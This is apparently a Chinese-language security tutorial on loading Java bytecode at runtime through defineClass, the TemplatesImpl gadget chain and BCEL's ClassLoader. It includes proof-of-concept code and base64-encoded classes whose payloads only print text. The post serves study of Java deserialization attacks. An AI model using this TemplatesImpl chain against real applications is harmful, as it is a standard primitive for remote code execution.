Java动态加载字节码TemplatesImpl和BCEL
前言
Java字节码存储在.class文件在JVM虚拟机运行
TemplatesImpl加载字节码
Java文件经历ClassLoader#loadClass=>ClassLoader#findClass=>ClassLoader#defineClass
defineClass这一步用来处理前面传入的字节码,并处理成Java类
可用来直接加载字节码
defineClass加载字节码

先准备一个.class文件
写一个DefineClass.java文件
1 2 3 4 5 6 7 8 9 10 11
| public class DefineClass {
public DefineClass() { System.out.println("New instance construct"); }
public void test(){ System.out.println("test123"); }
}
|
编译.java文件 生成DefineClass.class
将DefineClass.class文件进行base64加密
1
| yv66vgAAADQAHgoABwAPCQAQABEIABIKABMAFAgAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAR0ZXN0AQAKU291cmNlRmlsZQEAEERlZmluZUNsYXNzLmphdmEMAAgACQcAGAwAGQAaAQAWTmV3IGluc3RhbmNlIGNvbnN0cnVjdAcAGwwAHAAdAQAHdGVzdDEyMwEAC0RlZmluZUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAYABwAAAAAAAgABAAgACQABAAoAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQALAAAADgADAAAAAwAEAAQADAAFAAEADAAJAAEACgAAACUAAgABAAAACbIAAhIFtgAEsQAAAAEACwAAAAoAAgAAAAgACAAJAAEADQAAAAIADg==
|
直接使用defineClass加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class TestDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = org.apache.commons.codec.binary.Base64.decodeBase64("yv66vgAAADQAHgoABwAPCQAQABEIABIKABMAFAgAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAR0ZXN0AQAKU291cmNlRmlsZQEAEERlZmluZUNsYXNzLmphdmEMAAgACQcAGAwAGQAaAQAWTmV3IGluc3RhbmNlIGNvbnN0cnVjdAcAGwwAHAAdAQAHdGVzdDEyMwEAC0RlZmluZUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAYABwAAAAAAAgABAAgACQABAAoAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQALAAAADgADAAAAAwAEAAQADAAFAAEADAAJAAEACgAAACUAAgABAAAACbIAAhIFtgAEsQAAAAEACwAAAAoAAgAAAAgACAAJAAEADQAAAAIADg=="); System.out.println(ClassLoader.getSystemClassLoader()); Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "DefineClass", code, 0, code.length); Object o = hello.newInstance(); Method test = hello.getMethod("test"); test.invoke(o);
} }
|
运行结果如下

defineClass被调用类对象不会被初始化,需要调用构造函数才能执行代码
TemplatesImpl利用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的内部类TransletClassLoader重写了defineClass

之前是protected修饰符现在是default 默认同包类可以访问
TemplatesImpl的利用链
TemplatesImpl#getOutputProperties=>TemplatesImpl#newTransformer=>TemplatesImpl#getTransletInstance=>emplatesImpl#defineTransletClasses=>TransletClassLoader#defineClass
首先getOutputProperties调用了newTransformer

newTransormer调用getTransletInstance

getTransletInstance调用defineTransletClasses

最终defineTransletClasses调用defineClass

POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import org.apache.xalan.xsltc.trax.TemplatesImpl; import static ysoserial.payloads.util.Reflections.setFieldValue;
public class TemplatesImplClass { public static void main(String[] args) throws Exception { byte[] code = org.apache.commons.codec.binary.Base64.decodeBase64("yv66vgAAADIAMwoABwAiCQAjACQIACUKACYAJwoAJgAoBwApBwAqAQAJdHJhbnNmb3JtAQBQKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHEx0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWDsBAANkb20BABxMb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ET007AQAVc2VyaWFsaXphdGlvbkhhbmRsZXJzAQAxW0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAPZHRtQXhpc0l0ZXJhdG9yAQAkTG9yZy9hcGFjaGUveG1sL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAUc2VyaWFsaXphdGlvbkhhbmRsZXIBADBMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAE1RlbXBsYXRlc0ltcGxYLmphdmEMABoAGwcALAwALQAuAQATdGVtcGxhdGVYIGNvbnN0cnVjdAcALwwAMAAxDAAwADIBABp0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWAEAL29yZy9hcGFjaGUveGFsYW4veHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAob3JnL2FwYWNoZS94YWxhbi94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABChJKVYAIQAGAAcAAAAAAAQAAQAIAAkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAAA0ADAAAACAAAwAAAAEADQAOAAAAAAABAA8AEAABAAAAAQARABIAAgATAAAABAABABQAAQAIABUAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABAA8AEAABAAAAAQAWABcAAgAAAAEAGAAZAAMAEwAAAAQAAQAUAAEAGgAbAAEACgAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAsAAAAOAAMAAAAUAAQAFQAMABYADAAAAAwAAQAAAA0ADQAOAAAACQAcAB0AAQAKAAAAOAACAAEAAAAKsgACEQKatgAFsQAAAAIACwAAAAoAAgAAABkACQAaAAwAAAAMAAEAAAAKAB4AHwAAAAEAIAAAAAIAIQ==");
TemplatesImpl tpi = new TemplatesImpl(); setFieldValue(tpi, "_bytecodes", new byte[][]{code}); setFieldValue(tpi, "_name", "TemplatesImpl"); setFieldValue(tpi, "_tfactory", new org.apache.xalan.xsltc.trax.TransformerFactoryImpl());
tpi.newTransformer(); } }
|
.class文件必须继承自AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import org.apache.xalan.xsltc.DOM; import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler;
public class TemplatesImplX extends AbstractTranslet { @Override public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
}
@Override public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {
}
public TemplatesImplX() { System.out.println("templateX construct"); }
public static void main(String[] args) { System.out.println(666); } }
|

BCEL加载字节码
通过BCEL提供的两个类 Repository 和 Utility 来利用:
Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码
Utility 用于将 原生的字节码转换成BCEL格式的字节码
1 2 3 4 5 6 7 8 9 10 11 12
| import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;
public class HelloBCEL { public static void main(String []args) throws Exception { JavaClass cls = Repository.lookupClass(evil.Hello.class); String code = Utility.encode(cls.getBytes(), true); System.out.println(code); } }
|
BCEL ClassLoader加载字节码
1
| new ClassLoader().loadClass(code).newInstance();
|
__END__